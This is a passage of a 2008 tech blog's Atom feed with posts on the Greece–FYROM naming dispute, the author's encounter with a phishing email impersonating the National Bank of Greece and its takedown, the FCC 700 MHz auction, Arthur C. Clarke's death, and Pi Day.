href="http://2.bp.blogspot.com/_PNe-bgIDyRw/R_KbX_FylVI/AAAAAAAAAFQ/UkVwktpJ9DY/s1600-h/matthew_nimetz.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 138px; height: 206px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/R_KbX_FylVI/AAAAAAAAAFQ/UkVwktpJ9DY/s200/matthew_nimetz.jpg" alt="" id="BLOGGER_PHOTO_ID_5184376957431878994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here are some key points of Bakoyannis's article. First there is &lt;span style="font-weight: bold;"&gt;the birth of the problem&lt;/span&gt;, beginning in 1944 when Tito renamed the area of Skopje, from &lt;span style="font-weight: bold;"&gt;Vardana Binovina &lt;/span&gt;to &lt;span style="font-weight: bold;"&gt;Republic of Macedonia&lt;/span&gt;. The plan was to slowly move to the Aegean Sea but now that United Yugoslavia is over, Skopje has failed to get rid of being part of this plan (or forgot?).&lt;br /&gt;&lt;br /&gt;The article continues with depicting the &lt;span style="font-weight: bold;"&gt;heart of the problem&lt;/span&gt; and to paraphrase: "If you, FYROM, would like to have the term "&lt;span style="font-weight: bold;"&gt;Macedonia&lt;/span&gt;", &lt;span style="font-weight: bold;"&gt;you can do it. &lt;/span&gt;But you will do it because you &lt;span style="font-weight: bold;"&gt;like the name&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;not because &lt;/span&gt;you have &lt;span style="font-weight: bold;"&gt;any kind of relation &lt;/span&gt;with ancient or modern Macedonia. So, drop anything that distorts historical facts from textbooks, maps, articles and even from your constitution." That's all we &lt;span style="font-weight: bold;"&gt;care about&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span&gt;Allegations&lt;/span&gt; about "Macedonian minorities" (?) or "Aegean Macedonia" are &lt;span style="font-weight: bold;"&gt;absurd&lt;/span&gt; so forget them and also "United Macedonia" and any other such master plans. Greece does not deny that a small part of the Ancient Macedonian empire was lying in the Skopje territory. So keep a geographic qualification, like "New", "Upper", "North", "Whatever" and forget &lt;span style="font-weight: bold;"&gt;plain "Macedonia". &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bakoyannis goes on to explain the bonds of collaboration that Greece has already been creating. Greece is the prime investor in FYROM (almost a billion of dollars) and that shows our willingness to work peacefully and creatively with this new country. After some outlines over FYROM's unwillingness to move towards a solution, Bakoyannis closes with the phrase: "&lt;span style="font-style: italic;"&gt;We cannot go any farther. As long as the problem persists we cannot and will not endorse FYROM joining NATO or the European Union. No Greek government will ever agree to it. No Greek parliament will ever approve it.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Well said.&lt;br /&gt;&lt;br /&gt;That's all. We are all fed up with this story. Spending millions to buy an article in the "Independent", trying to support a crystal-clear thesis, is not fun. Greek politics has been extremely unsuccessful on this subject and our governments have made so many blunders so far, that we have managed to be considered the main problem of the dispute (well actually the present government has done nothing, so not blunders either..) Anyhow, we are all united now (unlike FYROM which is on a critical edge as far as 'density' is concerned). "No solution, no invitation" is the government's motto and we all sign for this. FYROM should take responsibilities. Negative results would mean isolation for both parts and that could 'kill us all'.&lt;br /&gt;&lt;br /&gt;So, tomorrow it is the critical meeting in Bucharest and we are not delusional.  Greece is playing against United States, not FYROM. And it is pretty risky to go against the US but we are more  than willing to do so in that case. So our finger is on the &lt;span style="font-weight: bold;"&gt;'Veto' button&lt;/span&gt; and more importantly, we are ready for the sanctions of pushing it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2237612823158642752?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2237612823158642752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2237612823158642752'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/greece-on-macedonia-dispute-quid-pro.html' title='Greece on Macedonia Dispute: &quot;Quid pro Quo&quot;'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R_Kb4vFylWI/AAAAAAAAAFY/yN62sP7Y6No/s72-c/logo_independent.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-1014922677693668672</id><published>2008-03-24T15:16:00.001-07:00</published><updated>2008-12-09T07:12:03.291-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Hey, Are You Phishing To Me?</title><content type='html'>Today, I received a weird mail (&lt;span style="font-weight: bold; font-style: italic;"&gt;picture on the right&lt;/span&gt;). It was from the &lt;span style="font-weight: bold;"&gt;N&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/R-guH_FylUI/AAAAAAAAAFI/1Uu2vPl-L3Q/s1600-h/PHISHING-MAIL.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 249px; height: 133px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/R-guH_FylUI/AAAAAAAAAFI/1Uu2vPl-L3Q/s200/PHISHING-MAIL.JPG" alt="" id="BLOGGER_PHOTO_ID_5181442086019437890" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;ational Bank of Greece&lt;/span&gt; (mail address homebank [at] nbg.gr) which informed of my card being suspended because I was using it from 2 different accounts. It then provided a link to follow in order to settle this problem. After leaving the mouse on top the link the &lt;span style="font-weight: bold;"&gt;fraud was revealed: &lt;/span&gt;The mail was fake and the link was pointing to an illegitimate site. This was the first &lt;span style="font-weight: bold;"&gt;phishing attack &lt;/span&gt;in which I was the target. The site to which I was directed to 'settle my account' was &lt;span style="font-weight: bold;"&gt;matilda-disco.com.ar.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After checking that it was just &lt;span style="font-weight: bold;"&gt;plain html, &lt;/span&gt;I followed the link and much to &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/R-grdfFylTI/AAAAAAAAAFA/MjDTG4XWztg/s1600-h/NBG_INTERNET_SCAM.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 237px; height: 146px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/R-grdfFylTI/AAAAAAAAAFA/MjDTG4XWztg/s200/NBG_INTERNET_SCAM.JPG" alt="" id="BLOGGER_PHOTO_ID_5181439156851742002" border="0" /&gt;&lt;/a&gt;my surprise it was &lt;span style="font-weight: bold;"&gt;identical &lt;/span&gt;to the NBG's e-banking site, in which you are prompted to enter your account private information! If you do, boom, you are officially a victim of another phishing attack. On the right is the &lt;span style="font-weight: bold;"&gt;snapshot&lt;/span&gt; of this fake-NBG site. The layout is almost identical but the scam was not perfect. You could still view on the URL bar that the domain far from being the &lt;span style="font-weight: bold;"&gt;nbg.gr.&lt;/span&gt;  I later found out that more sophisticated attacks use JavaScript to put an &lt;span style="font-weight: bold;"&gt;image &lt;/span&gt;over the address bar to just show the original's site URL.&lt;br /&gt;&lt;br /&gt;I soon contacted the e-banking support of the National Bank of Greece but this was disappointing. Although they were &lt;span style="font-weight: bold;"&gt;not automatic &lt;/span&gt;responses, the bank clerk kept sending me the privacy policy, the terms of conditions, tips on how to protect myself and all this kind of &lt;span style="font-weight: bold;"&gt;nonsense. &lt;/span&gt;I soon gave up because it was pretty obvious that the personnel appointed to the post was untrained for anything better than sending mail prototypes.&lt;br /&gt;&lt;br /&gt;The fake site was&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span&gt;redirecting to&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; nesintl.org/image/jpg/homebank.nbg.gr/gr.php &lt;/span&gt;and&lt;br /&gt;after a quick WHOIS and on-site browsing I soon realized that they were multiple sites hosted under this location. Of course there was no contact available (only a weird hotmail account) so I decided to contact the &lt;span style="font-weight: bold;"&gt;web hosting &lt;/span&gt;company of the fraud site, &lt;span style="font-weight: bold;"&gt;BerryHost.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I wrote an e-mail explaining the fraud and I got the ticket of my request along with a page to view information over its status. While it is still pending as a request, less than an hour later, the &lt;span style="font-weight: bold;"&gt;fraud site had dissapeared. &lt;/span&gt;When trying to connect to the fake bank site I was getting a &lt;span style="font-weight: bold;"&gt;404 Not Found &lt;/span&gt;error and I still do. I want to believe that the hosting company took the appropriate actions and banned the fake site, but did not inform my request status.&lt;br /&gt;&lt;br /&gt;Anyway, the good news is that the &lt;span style="font-weight: bold;"&gt;scam is out of service. &lt;/span&gt;These kinds of attacks are called &lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phishing"&gt;phishing attacks&lt;/a&gt;. Wikipedia &lt;/span&gt;states that the term comes possibly from the term &lt;span style="font-style: italic;"&gt;fishing &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;phreaking &lt;/span&gt;(popular hacking term) and refers to the methodology used to deceive users into disclosing private information (credit cards, passwords etc) by masquerading as a trustworthy entity. The evil community is very active, so let's be prepared.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-1014922677693668672?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/1014922677693668672/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=1014922677693668672' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1014922677693668672'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1014922677693668672'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/fraud-are-you-phishing-to-me.html' title='Hey, Are You Phishing To Me?'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/R-guH_FylUI/AAAAAAAAAFI/1Uu2vPl-L3Q/s72-c/PHISHING-MAIL.JPG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-540024616783389013</id><published>2008-03-21T03:18:00.000-07:00</published><updated>2008-03-21T05:21:55.864-07:00</updated><title type='text'>Google's Announcement</title><content type='html'>Here you can find Google's announcement &lt;a href="http://googleblog.blogspot.com/2008/03/end-of-fcc-700-mhz-auction.html"&gt;Official Google Blog: The end of the FCC 700 MHz auction&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://developeronline.blogspot.com/2008/03/fcc-700-mhz-auction-20-billion-dollar_21.html"&gt;Go to original post&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-540024616783389013?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/540024616783389013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=540024616783389013' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/540024616783389013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/540024616783389013'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/googles-announcement.html' title='Google&apos;s Announcement'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-1871498776069635323</id><published>2008-03-21T03:16:00.001-07:00</published><updated>2008-12-09T07:12:03.514-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>FCC 700 Mhz Auction: 20 Billion Dollar Baby</title><content type='html'>The news: Verizon wins almost everything, Google does not win anything.&lt;br /&gt;But, let's deal with the &lt;span style="font-weight: bold;"&gt;nonsense&lt;/span&gt; first: "&lt;span style="font-style: italic;"&gt;Google is the winner...", "Google was bluffing..." &lt;/span&gt;etc. You may find plenty of such claims in the web, but if these were functions they would &lt;span style="font-weight: bold;"&gt;return false&lt;/span&gt;. The reason? At least in poker, you &lt;span style="font-weight: bold;"&gt;bluff to win&lt;/span&gt;, or for others &lt;span style="font-weight: bold;"&gt;to lose big&lt;/span&gt;. None of that happened.  If Google wanted to be a provider, she &lt;span style="font-weight: bold;"&gt;lost&lt;/span&gt;. If Google wanted just to ensure openness, she &lt;span style="font-weight: bold;"&gt;won, &lt;/span&gt;but in that case she had won &lt;span style="font-weight: bold;"&gt;several months ago &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;in a controversial FCC decision&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I had written &lt;a href="http://developeronline.blogspot.com/2008/02/bidding-in-name-of.html"&gt;a post about the FCC auction 73 here&lt;/a&gt;, with the main points being that Google's decision to participate was big news for the mobile industry and that it was somewhat unclear as to whether the company wanted to slowly create and maintain the new wireless network or just ensure open access. But let's take things from the beginning.&lt;br /&gt;&lt;br /&gt;First, there is the decision that analog TV moves to digital in the US, in one year from now. This releases some frequency bands, namely around the 700MHz that now is oc&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/R-OGjvFylQI/AAAAAAAAAEo/DXy-azH42ko/s1600-h/wirelessauction.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 240px; height: 179px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/R-OGjvFylQI/AAAAAAAAAEo/DXy-azH42ko/s200/wirelessauction.jpg" alt="" id="BLOGGER_PHOTO_ID_5180131944900498690" border="0" /&gt;&lt;/a&gt;cupied by a number of analog TV channels. Shifting to digital, these bands will be vacant. Hence, they were auctioned off. Due to its physical properties, this band is ideal for communication networks and attracts the interest of the wireless industry, but also quite to a bit of a surprise, the interest of Google. It was soon realized that there were actually three players in the auction: Verizon, AT&amp;amp;T and Google.&lt;br /&gt;&lt;br /&gt;Almost half a year before the auction begins, Google announces that it would bid the minimum 4.6 billion $ if the FCC would require from the winners to support &lt;span style="font-weight: bold;"&gt;4 types &lt;/span&gt;of &lt;span style="font-weight: bold;"&gt;open platforms&lt;/span&gt;. Quoting a part of the &lt;a href="http://www.google.com/intl/en/press/pressrel/20070720_wireless.html"&gt;company's press release&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Open applications:&lt;/strong&gt; Consumers should be able to download         and utilize any software applications, content, or services they desire;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Open devices:&lt;/strong&gt; Consumers should be able to utilize a handheld communications device with whatever wireless network they prefer;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Open services:&lt;/strong&gt; Third parties (resellers) should be able to acquire wireless services from a 700 MHz licensee on a wholesale basis, based on reasonably nondiscriminatory commercial terms; and&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Open networks: &lt;/strong&gt;Third parties (like internet service providers) should be able to interconnect at any technically feasible point in a 700 MHz licensee's wireless network.&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;Now, I don't have the industry knowledge to fully decode Google's strategy, so let's trust logic on that. If Google wanted to support and realize the idea of open networks and devices, why doesn't she participate in an auction with no strings attached? If you believe in your idea, go and get it. On the other hand, if Google does not want the burden of having to maintain such an infrastructure, what is afraid of and requires open platforms? After all, Google is still doing pretty well in traditional GSM, 3G or GPRS networks. Afraid of Verizon teaming up with Google's competitors (e.g. Microsoft) in building new generation mobile services or afraid of her Android-based open mobile platform initiatives, ending prematurely? Both might be correct.&lt;br /&gt;&lt;br /&gt;Almost a month later, the FCC makes &lt;a href="http://www.news.com/FCC-approves-some-open-wireless-requirements/2100-1039_3-6199990.html"&gt;a balanced decision&lt;/a&gt;: A &lt;span style="font-weight: bold;"&gt;portion of the band &lt;/span&gt;that is auctioned off will be open to any mobile device (Verizon-certified of course) interpreting only as a partial result for Google but basically leaving all players unsatisfied. Both parties have good arguments: Google talks about different business models, open networks, platforms and other &lt;span style="font-weight: bold;"&gt;e-socialist &lt;/span&gt;ideas. Carriers talk about paying "&lt;span style="font-style: italic;"&gt;a fair market value in an honest auction".&lt;/span&gt; After all Google has much more budget than Verizon, so if she wishes to bring new models to the business she should pay the price, rather than &lt;span style="font-style: italic;"&gt;pressing &lt;/span&gt;for open requirements. AT&amp;amp;T's response is breath-taking: &lt;span style="font-style: italic;"&gt;"We would repeat that Google should put up or shut up— they can bid and enter the wireless market with any business model they prefer, then let consumers decide which model they like best." &lt;/span&gt;While &lt;a href="http://www.techcrunch.com/2007/07/22/the-fcc-needs-to-listen-to-google/"&gt;many considered Google's battle as a &lt;span style="font-weight: bold;"&gt;crusade&lt;/span&gt;&lt;/a&gt; against &lt;span style="font-weight: bold;"&gt;evil wireless carriers&lt;/span&gt;, it would not be unreasonable to claim that the company acted more or less as a &lt;span style="font-weight: bold;"&gt;cheapskate, &lt;/span&gt;trying to buy openness at zero price (given that Google was never interested in really buying the bands).&lt;br /&gt;&lt;br /&gt;Finally Verizon together with Vodafone, was the big winner of the auction, totally owning the C-block of the 700 Mhz band and Google did not get anything. &lt;span style="font-style: italic;"&gt;"We are very pleased with our auction results. Specifically, we were successful in achieving the spectrum depth we need to continue to grow our business and... help us satisfy the next wave of services and consumer electronics devices.", &lt;/span&gt;was the announcement from Verizon. It might be &lt;a href="http://www.techcrunch.com/2008/03/20/breaking-fcc-confirms-that-big-winner-in-spectrum-auction-is-verizon/"&gt;said that Google was the actual winner&lt;/a&gt;, having assured that the new network will be open. While there might be reasons for that, there is one obvious flaw: &lt;span style="font-weight: bold;"&gt;This would mean that Google was a winner from the beginning.&lt;/span&gt; Why Verizon would enter in a battle &lt;span style="font-weight: bold;"&gt;already lost &lt;/span&gt;or is it a &lt;span style="font-weight: bold;"&gt;win-win &lt;span style="font-weight: bold;"&gt;situation&lt;/span&gt;&lt;/span&gt;? My feeling is different after reading the &lt;a href="http://googleblog.blogspot.com/2008/03/end-of-fcc-700-mhz-auction.html"&gt;first reaction from the Google part&lt;/a&gt;. While the company declares the auction as a win for American consumers, there is an &lt;span style="font-weight: bold;"&gt;over-stressing &lt;/span&gt;that the network is open for anybody. I cannot be easily convinced that someone paid some billions of dollars to buy an open network and I therefore can understand why Google seems a little anxious over that part of the deal: Could Verizon find holes in the FCC rules?&lt;br /&gt;&lt;br /&gt;Anyway, there is still these &lt;span style="font-weight: bold;"&gt;anti-collusion &lt;/span&gt;rules, so there is no in-depth information from the auction players yet. Thoughts of Google building a new and open mobile network, thus bringing a new era of mobile communications, were &lt;span style="font-weight: bold;"&gt;proven wrong&lt;/span&gt;. Verizon owns a new band to play with.&lt;br /&gt;&lt;br /&gt;Meanwhile, here in Europe, we are still stuck paying 5-10 euros for every 'mobile' Mb we download, while the European Commission is still messing with the way business is done (with the most recent and infamous example of choosing Nokia's protocol for mobile TV. While not final, this decision demonstrates how much politics in Europe, interfere with the industry)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-1871498776069635323?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/1871498776069635323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=1871498776069635323' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1871498776069635323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1871498776069635323'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/fcc-700-mhz-auction-20-billion-dollar_21.html' title='FCC 700 Mhz Auction: 20 Billion Dollar Baby'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/R-OGjvFylQI/AAAAAAAAAEo/DXy-azH42ko/s72-c/wirelessauction.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-8883762068006208623</id><published>2008-03-18T23:29:00.000-07:00</published><updated>2008-12-09T07:12:03.692-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Arthur C. Clarke: 90 Orbits Around The Sun  (1917-2008)</title><content type='html'>Well, I guess this is something that we should get used to: Living in a world without our heroes. This year, &lt;a href="http://developeronline.blogspot.com/2008/01/robert-james-fischer-king-is-dead-1943.html"&gt;Robert James Fischer&lt;/a&gt;, a hero of childhood died, and now it is &lt;span style="font-weight: bold;"&gt;Arthur Clarke&lt;/span&gt;, who died today(19 March 1:30am Sri Lanka local time) at the Apollo Hospital in Colombo, Sri Lanka.&lt;br /&gt;&lt;br /&gt;Sir Arthur Clarke was a writer (among other things), whose work we have hard time classifying. Was he a fiction writer? He could be, because he wrote about computers with human intelligence, extra-terrestrial worlds, different living species and so on. Was he writer and a technology popularizer? He could be since he write about computers, space expeditions, wireless&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/R-C_4Rgaw2I/AAAAAAAAAEg/zZbiwS0wqDY/s1600-h/theSentinel.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 172px; height: 275px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/R-C_4Rgaw2I/AAAAAAAAAEg/zZbiwS0wqDY/s200/theSentinel.jpg" alt="" id="BLOGGER_PHOTO_ID_5179350544969024354" border="0" /&gt;&lt;/a&gt; communications and being a step ahead from his time, predicted the &lt;span style="font-weight: bold;"&gt;man on the moon by 1970,&lt;/span&gt; the invention of &lt;span style="font-weight: bold;"&gt;satellites&lt;/span&gt; and so many other. His &lt;span style="font-weight: bold;"&gt;"Space Odyssey", &lt;/span&gt;'featuring' the &lt;span style="font-weight: bold;"&gt;HAL &lt;/span&gt;supercomputer (actually a wordplay of &lt;span style="font-weight: bold;"&gt;IBM&lt;/span&gt;, if you shift by one the letters), was&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;directed by Stanley Kubrick and is one of the kind in science fiction films.&lt;br /&gt;&lt;br /&gt;However, my favorite was by far "&lt;a href="http://en.wikipedia.org/wiki/The_Sentinel_%28short_story%29"&gt;The Sentinel&lt;/a&gt;", a short passage that I read years ago. It is a about an &lt;span style="font-weight: bold;"&gt;artifact &lt;/span&gt;that astronauts discover in Moon and bring to Earth, but the humans cannot decode what it is, only that it constantly transmits a "beep" over the universe. They want to analyze the artifact but it resists until nuclear power is used to crack it open. "&lt;span style="font-style: italic;"&gt;Now its signals have ceased, and those whose duty it is will be turning their minds upon Earth. Perhaps they wish to help our infant civilization. But they must be very, very old, and the old are often insanely jealous of the young.&lt;/span&gt;..&lt;span style="font-style: italic;"&gt;Now we should wait them to come...&lt;/span&gt;" The artifact was put there by an extra terrestrial civilization to warn them for the development of intelligence in this little promising planet, called Earth! If someone could make it stop, he must be intelligent enough to manage powers such as the nuclear. Brilliant and thrilling!&lt;br /&gt;&lt;br /&gt;It is weird enough that Clarke was born nearly at the time &lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Jules_Verne"&gt;Jules Verne&lt;/a&gt;, &lt;/span&gt;another writer of his kind, who envisioned space and underwater travels with spaceships and submarines, passed away.  He lived  for the last 50 years of his life in Sri Lanka and since 1989 needed to use wheel chair since he was diagnosed with &lt;span style="font-weight: bold;"&gt;post-polio syndrome.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3qLdeEjdbWE&amp;hl=en"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/3qLdeEjdbWE&amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Recently, approaching the age of 90, or as he humorously says "completing the 90th orbit around the sun", Clarke created a moving goodbye video for all of his fans. You can find it also in Youtube &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.youtube.com/watch?v=eLXQ7rNgWwg"&gt;here&lt;/a&gt;.&lt;/span&gt; He prefers to be remembered as a writer and his last words on the video are from Rudyard Kipling's, &lt;span style="font-style: italic;"&gt;"The Books I Leave Behind",&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;If I have given you delight&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;By aught that I have done,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Let me lie quiet in that night&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Which shall be yours anon:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;And for that little, little span&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;The dead are borne in mind&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Seek not to question other than&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;The books I leave behind.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-8883762068006208623?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/8883762068006208623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=8883762068006208623' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8883762068006208623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8883762068006208623'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/arthur-c-clarke-90-orbits-around-sun.html' title='Arthur C. Clarke: 90 Orbits Around The Sun  (1917-2008)'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/R-C_4Rgaw2I/AAAAAAAAAEg/zZbiwS0wqDY/s72-c/theSentinel.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2145735941440089456</id><published>2008-03-14T04:02:00.000-07:00</published><updated>2008-12-09T07:12:03.903-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><title type='text'>Who Else Is Going To The Pi Party?</title><content type='html'>Today we celebrate π or the &lt;a href="http://en.wikipedia.org/wiki/Pi"&gt;Pi mathematical symbol &lt;/a&gt;!&lt;br /&gt;In case you hadn't noticed it (like me until now) ,there has been a funny tradition since late 80's to celebrate &lt;span style="font-weight: bold;"&gt;π&lt;/span&gt; at the 14th of March. The reason? The number begins with π = 3.14, hence March,14. It is weird though I didn't see any of the &lt;span style="font-weight: bold;"&gt;doodles &lt;/span&gt;that Google usually puts on its homepage on such dates. If we can't honor &lt;span style="font-weight: bold;"&gt;pi &lt;/span&gt;we could do that for &lt;span style="font-weight: bold;"&gt;Albert Einstein, &lt;/span&gt;whose birthday is also today (March 14th).&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/R9pjX7UUzEI/AAAAAAAAAEY/VW7pHcxvzig/s1600-h/pi.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" 